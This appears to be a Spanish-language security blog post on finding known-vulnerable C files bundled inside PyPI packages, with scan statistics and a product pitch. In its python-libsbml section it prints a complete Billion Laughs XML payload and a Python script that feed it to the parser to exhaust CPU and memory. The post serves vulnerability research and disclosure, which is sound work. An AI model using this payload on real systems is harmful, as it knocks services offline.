Skip to main content

Bajo la superficie: un vistazo a las vulnerabilidades de C/C++ en el mundo de Python

Escrito por
Headshot of Aviad Hahami

Aviad Hahami

feature under the

28 de abril de 2022

0 minutos de lectura

Aunque la mayoría de los desarrolladores —yo incluido— escribimos principalmente en lenguajes de alto nivel como Python o JavaScript, a veces es necesario agregar elementos nativos para mejorar el rendimiento u otros aspectos del proyecto. Como estas invocaciones de extensiones nativas suelen escribirse en C o C++, de pronto un proyecto que usa principalmente JavaScript o Python también debe tener en cuenta las dependencias transitivas potenciales de C/C++.

En mayo de 2021, Snyk adquirió FossID, una empresa especializada en detectar licencias y vulnerabilidades en el ecosistema de código abierto de C y C++. Luego, FossID se integró en Snyk CLI, que ahora puede analizar dependencias de C y C++.

Como miembro del equipo de seguridad de Snyk, investigué los resultados de los análisis de archivos C de Snyk en proyectos de npm y PyPI, y descubrí algunas cosas interesantes —y potencialmente alarmantes—.

En esta publicación, analizaremos los beneficios que llevan a los desarrolladores a incluir extensiones nativas de C y C++ en sus proyectos con lenguajes de alto nivel. Luego, usaremos Python y el registro PyPI para detectar vulnerabilidades ocultas relacionadas con C en proyectos de lenguajes de alto nivel y mostrar cómo las vulnerabilidades de bajo nivel pueden afectar a código de alto nivel que parece seguro.

¿Por qué incluir archivos C/C++ en un proyecto con un lenguaje de alto nivel?

Usar archivos C en un contexto de lenguaje de alto nivel no siempre es sencillo, pero hay muchas buenas razones para incluir código C en tu aplicación.

Tiempo de ejecución y rendimiento

Pensemos en un lenguaje interpretado como Python. Cada vez que ejecutamos un programa de Python, debemos analizar e interpretar el código antes de ejecutarlo. Al incorporar C, Cython —un superconjunto de Python y C— nos permite transpilar el código de Python a código C para compilarlo más adelante y lograr una ejecución más rápida.

Hardware, recursos y administración de memoria

A veces programamos aplicaciones que requieren un procesamiento computacional “intenso” e interactúan con hardware especializado. Por ejemplo, motores gráficos o software relacionado con las criptomonedas que puede interactuar con la GPU. También debemos considerar componentes en tiempo real que pueden tener recursos limitados. Estos casos son sensibles a operaciones no deterministas, como la recolección de basura, y requieren una administración determinista de la memoria, por lo que C es nuestro lenguaje de referencia.

Lemas e hipótesis

Nuestra hipótesis de investigación es la siguiente:

Lemas:

  1. Hay muchas buenas razones para incluir archivos C/C++ en el código fuente y los entornos de ejecución de lenguajes de alto nivel.

  2. No existe un sistema de administración de paquetes universal para archivos C/C++.

Hipótesis:

Si analizamos paquetes de lenguajes de alto nivel que integran archivos C, podremos encontrar vulnerabilidades de C o que se originaron en C dentro de esos paquetes.

Para poner a prueba nuestra hipótesis, elegimos Python y el ecosistema PyPI como primer candidato y como indicador de viabilidad.

El registro PyPI: C en Python

Al momento de escribir esto, hay aproximadamente 367,755 bibliotecas disponibles públicamente en PyPI.

Nuestro análisis inicial buscaba encontrar todos los paquetes (y sus versiones) que contienen archivos C.

Encontramos aproximadamente 6,200 bibliotecas que contienen al menos un archivo C, es decir, aproximadamente el 1.7% de todo el ecosistema.

Aunque esta cifra es baja en comparación con el ecosistema en su conjunto, es ideal para nuestros fines de investigación. Un conjunto pequeño de resultados nos ayudará a detectar y descartar falsos positivos con relativa facilidad.

Criterio 1: identidad del contenido

Primero, comprobamos la identidad de los archivos de las bibliotecas extraídas en el paso anterior. En esta verificación, analizamos cada archivo C de la biblioteca para determinar si es, o fue, vulnerable a los CVE que conocemos.

Gracias a la increíble tecnología de FossID, que ahora forma parte del producto Snyk, podemos rastrear cualquier archivo hasta su primera aparición e identificar dónde se encontró originalmente un fragmento de código.

Al aplicar nuestro primer criterio, encontramos aproximadamente 64 versiones de paquetes distintas que incluyen uno o más archivos de código fuente vulnerables originales**sin modificaciones. Si ampliamos la cifra para incluir todas las versiones, obtenemos 143 apariciones de archivos idénticos y vulnerables**.

Criterio 2: similitud del contenido

El segundo criterio que evaluamos fue la similitud de los archivos. Para este estudio, similitud significa que, aunque el contenido del archivo no sea idéntico, sí lo es el código crítico relacionado con la vulnerabilidad.

Al realizar esta prueba (sin incluir el criterio 1), encontramos aproximadamente 231 versiones de paquetes distintas que incluyen uno o más fragmentos vulnerables conocidos. Sin distinguir entre versiones, encontramos 1931 fragmentos vulnerables idénticos.

Vistas de código fuente una al lado de la otra, con líneas coincidentes resaltadas y flechas que las conectan para ilustrar archivos similares identificados por el sistema.
Ejemplo de archivos similares marcados por nuestro sistema.

Analicemos las cifras

Al consolidar las cifras anteriores, encontramos aproximadamente 2,074 casos que cumplen nuestros criterios en paquetes de PyPI. Como el código C suele usarse en tareas de ingeniería más complejas, no nos sorprendió encontrar bibliotecas de bajo nivel en el conjunto de resultados, como:

  1. gevent (5.7k)

  2. pycrypto (2.4k)

  3. selectolax (~500)

En el gráfico a continuación, puedes ver un desglose de las bibliotecas de Python que contienen C. Incluye el recuento total (todo el gráfico circular), el porcentaje marcado como vulnerable (incluidos los casos no explotables o falsos positivos) y el porcentaje que es vulnerable (con una probabilidad muy alta).

Archivos C en bibliotecas de Python: desglose del estado de vulnerabilidad

Gráfico circular que muestra 5,064 elementos no vulnerables (79.1%), 1,097 marcados como vulnerables (17.1%) y 243 con alta probabilidad de ser vulnerables.

Demostrar que las vulnerabilidades de una biblioteca se pueden explotar no es sencillo ni automático: todas las vulnerabilidades reportadas deben verificarse manualmente. Sin embargo, para mostrar que el problema del que hablamos tiene implicaciones importantes en el mundo real, en la siguiente sección describiremos una vulnerabilidad y la gravedad de su explotación.

Una vulnerabilidad oculta de 20 años: python-libsbml

Una de las bibliotecas que nuestra herramienta detectó fue python-libsbml, una biblioteca para leer, escribir y manipular el lenguaje de marcado de biología de sistemas (SBML). Como este lenguaje de marcado está relacionado con XML, no nos sorprendió encontrar libxml2 entre las dependencias del proyecto.

Nuestra herramienta marcó uno de los archivos (parser.c) como vulnerable al ataque Billion Laughs: una vulnerabilidad de DoS de 20 años de antigüedad, registrada como CVE-2003-1564. El ataque Billion Laughs es bastante sencillo. Solo hay que generar suficientes entidades autorreferenciales en un documento XML y pasárselo al analizador.

Aquí está nuestra PoC para esta vulnerabilidad.

Crea la carga maliciosa y guárdala como payload.xml

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Suponiendo que instalaste python-libsbml, crea el siguiente archivo de Python:

import libsbml
import sys

filename = sys.argv[1]
print(f'[*] Starting DoS; payload name -> "filename"')

try:
    print(f'[+] Executing; Machine should freeze...')
    doc = libsbml.readSBMLFromFile(filename)
except Exception as e:
    print(f'[!] ERROR! {e}')
finally:
    print('[*] Finally reached')

Por último, ejecuta el archivo de Python con:

python exp.py payload.xml

“Si sigues los pasos correctamente, el uso de la CPU debería llegar al 100% y el consumo de memoria seguirá aumentando hasta que la máquina se quede sin memoria (OOM). Así, habremos ejecutado un ataque de DoS en la máquina.”

Terminal que muestra una carga útil de DoS en Python ejecutándose en un contenedor de Docker, con htop indicando un uso de CPU del 100 % y las estadísticas de Docker debajo.
Ejemplo de un entorno de ejecución de DoS dentro de una máquina virtual de Docker.

Aunque esta vulnerabilidad quizá no cause conmoción en la comunidad de desarrollo, imagina qué pasaría si se descubriera oculta en tu código de Python o NodeJS una vulnerabilidad de BoF, UaF, PE/RCE o cualquier otra que se originó en código C. ¿Alguna vez las has buscado?

Esta biblioteca se descarga aproximadamente 20 mil veces al mes y es una dependencia directa de aproximadamente 115 proyectos públicos. Como se trata de una vulnerabilidad conocidade hace 20 años, una cantidad impresionante de dependientes que no estaban al tanto la distribuyeron a sus clientes y usuarios.

¿Qué sigue?

Mientras seguimos encontrando y divulgando vulnerabilidades a los responsables del mantenimiento de proyectos de código abierto, queremos alentar a los desarrolladores a buscar archivos C en sus proyectos que no sean de C.

Como estos archivos C a menudo no cuentan con administradores de paquetes, tienden a permanecer sin cambios (o copiados y pegados) durante mucho tiempo, y más adelante pueden descubrirse desactualizados y vulnerables (esperemos que por actores no maliciosos).

Regístrate en Snyk hoy y usa nuestra nueva función de CLI para analizar las dependencias de C/C++ no administradas en tus proyectos.

Empieza con los desafíos de Capture the Flag

Aprende a resolver desafíos de captura la bandera con nuestro taller virtual introductorio a pedido.

Leer más

Blog

Los modelos de frontera encontraron las vulnerabilidades. Solo el atacante encontró las cadenas.

El análisis estático encontró las fallas, pero solo las pruebas de ataque en vivo demostraron cómo podían encadenarse para provocar brechas. Una comparación de Evo COS, Claude Security y Claude Code Security.

feature insights context
Blog

Los ataques autónomos ya están aquí. La defensa debe estar a su altura.

Los atacantes autónomos están reduciendo el tiempo disponible para defenderse. Descubre cómo el descubrimiento, la corrección, la validación y la prevención continuos pueden ayudar a los equipos de seguridad a seguirles el ritmo.

Blog

Por qué los agentes de programación con IA siguen generando fallas de control de acceso

Los agentes de programación con IA pueden generar lógica de autorización que compila y supera la revisión, pero expone los datos de un inquilino a otro. Descubre por qué es difícil detectar el control de acceso roto y cómo prevenirlo.